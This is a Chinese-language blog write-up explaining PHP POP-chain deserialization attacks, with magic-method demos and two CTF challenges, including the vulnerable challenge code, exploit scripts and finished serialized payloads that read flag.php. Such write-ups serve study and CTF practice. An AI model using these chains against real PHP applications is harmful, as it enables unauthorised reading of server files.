POP链实例解析学习

写在前面

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload,实战应用范围暂时没遇到,不过在CTF比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列化的一种拓展,泛用性更强,涉及到的魔法方法也更多。

基本魔法方法

我用的代码如下:

<?php
class A{
        public $a="hi";
        public $b="no";
        function __construct()
        {
            $this->a="hiiiii!";
            echo $this->a."\n";
            echo "this is construct\n";
        }
        function __wakeup()
        {
            echo "this is wakeup\n";
        }//反序列化之前
        function __destruct()
        {
            echo "this is destruct\n";
        }//反序列化时会最后才触发

        function __toString()
        {
            return "this is tostring\n";
        }
        function __call($name, $arguments)
        {
            echo "this is call\n";
        }
        function __get($a)
        {
            echo "this is get\n";
        }
        function __invoke()
        {
            echo "this is invoke\n";
        }//尝试当作函数
        

        function say_hi()
        {
            echo "hiuhiu\n";
        }
    }
    $aa=new A();// 所有最后都还要析构一次,对象的消失
    $aa->say_hi();
    $bb=serialize($aa);
    $cc=unserialize($bb); 
    echo $aa;// 作为字符串用时触发 tostring
    $aa->say_no(); //call
    $aa->c; //get
    $aa(); //invoke

引用

__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

还有一些其他的,不过都大同小异
其实很多都是在处理对象可能产生的问题,比如强行当作字符串,强行当作函数,调用不存在的方法,调用不存在的属性,序列化,反序列化,它的消失,它的开始等等。

示例1

以下示例链接:https://blog.csdn.net/weixin_45645113/article/details/105309695
(仅使用了题目)

<?php
//flag is in flag.php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }//用来欢迎

    public function __toString()
    {
        return $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }

    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }//用来替换
}

class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}

一开始看是非常烦人的,所以开始这里的练习之前,你需要对魔法方法比较熟悉。POP链是一环扣着一环,像一个链条一样,这也就是说它是紧密联系起来的。
我们只需找到入口和出口,任意反推或者正推就比较好解决

思路

首先这里传入数据的入口是反序列化,那就是__wakeup(),出口那就是要读取文件,那就是 __invoke()和_show() ,一个是魔法方法,一个是普通方法。

1. 使用正推,进入wakeup后看起来是一个非常正常的函数,只能通过$this->source来完成跳转,这里的可能有两个,一是利用属性不存在跳转__get(),二是利用将对象作为字符串使用跳转__toString()(preg_match函数的第二个参数就是string类型)。第一个方法行不通,因为类中没有__get()方法。所以要用第二种方案,后续exp中详细说明这种方案。

2. 假设进入__toString()后,显然是需要str[‘str’]返回一个对象时去搜寻source属性,下一步就是无法搜索到这个属性就可以跳转__get(),但是这里是需要跳转到Test类才有__get(),那么就让str['str']返回的对象是Test对象

3. 进入__get()后,找到它的属性并强行调用方法,明显就需要跳转至__invoke(),那么就要让$this->p找到Read类中。

4. 进入__invoke()后将$var设为你想要的文件就到达出口了。

最后在书写exp时将整个思路倒过来就可以完成了,反序列内容从外到里读,写是从里到外写嘛。
将Read类的对象放入Test类的p属性中,再将上述的一堆放入str[‘str’],最后要将对象作为字符串,那么让Show类的source属性等于对象自己就可以了
exp:

<?php
class Show{
	public $source;
	public $str;
}
class Test {
	public $p;
}
class Read{
	public $var = "flag.php";
}

$s = new Show();
echo '$s  :  '.serialize($s)."\n";
$t = new Test();
echo '$t  :  '.serialize($t)."\n";
$r = new Read();
echo '$r  :  '.serialize($r)."\n";
$t -> p = $r;
$s ->str["str"] = $t;
$s -> source = $s;
//var_dump($s);
var_dump(serialize($s));

$s  :  O:4:"Show":2:{s:6:"source";N;s:3:"str";N;}
$t  :  O:4:"Test":1:{s:1:"p";N;}
$r  :  O:4:"Read":1:{s:3:"var";s:8:"flag.php";}
string(121) "O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}"

payload:

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}

在编写payload时重要的就是装载方式,找到跳转位置,即能够像链条一样串起整个思路。

示例2(2019安恒一月月赛web1-babygo)

现在来看看反推的思路,也是比赛题。

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
  
class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

1.分析一下题目,首先非常明显,本题出口是cool类中的read方法,但是如果我们直接序列化cool类,无法触发实际方法。

2.看到在baby类中可以触发一个read(),那么也就是让$this->skyobj为cool对象即可,不过这里是在__toString()中,正好主函数中有一个echo $Input_data;可以进行触发。

3.触发后进入read()方法,首先就要反序列化amzing属性,将结果给nice属性,后续nice属性中有aaa,bbb两个属性,说明nice属性是baby类,也就是amzing反序列化结果是baby类。还得序列化一下baby类传到amzing处。

4.然后又被$sth恶意修改了一下,不知道修改成了什么,要保证它们两个属性相等,就可以让bbb属性跟随aaa变化。传一个地址就可以了。

EXP

值得注意的是,这里是一个protected,需要从类内部操作,不能从外面赋。比如这里的skyobj属性要为对象,就不能先初始化cool对象再赋值过去, protected只能在类及其子类中用,外部不可访问,所以要利用__construct()来初始化。

可能你还注意到,baby中的skyobj要以cool类来建立,而cool类中的amzing属性又是与baby类有关,那么究竟谁先谁后呢?
这里要小小的分析一下,cool类作为后验证的东西,它是使用baby类中的aaa等属性,和skyobj属性关系不大,所以你可以先将baby类序列化后的值赋给amzing。

但是,由于刚刚用了__construct(),当我们想要将baby类序列化后的值赋给amzing。 就会触发到,从而让__contrust()提前触发,所以还得分开,先单独序列化一下不带__construct()的baby,然后给他赋好。

<?php
    class baby
    {
        protected $skyobj;
        public $aaa;
        public $bbb;
        function __construct() 
        {          
            $this->skyobj = new cool;   
        }  
    }
    
    class cool
    {
        public $filename="flag.php";
        public $nice;
        public $amzing='O:4:"baby":3:{s:9:"\000*\000skyobj";N;s:3:"aaa";N;s:3:"bbb";N;}';
    }


$b= new baby();

$b->aaa=&$b->bbb;

var_dump(urlencode(serialize($b)));

这样就完成了

posted @ 2022-03-22 21:47  Sayo-NERV  阅读(307)  评论(0编辑  收藏  举报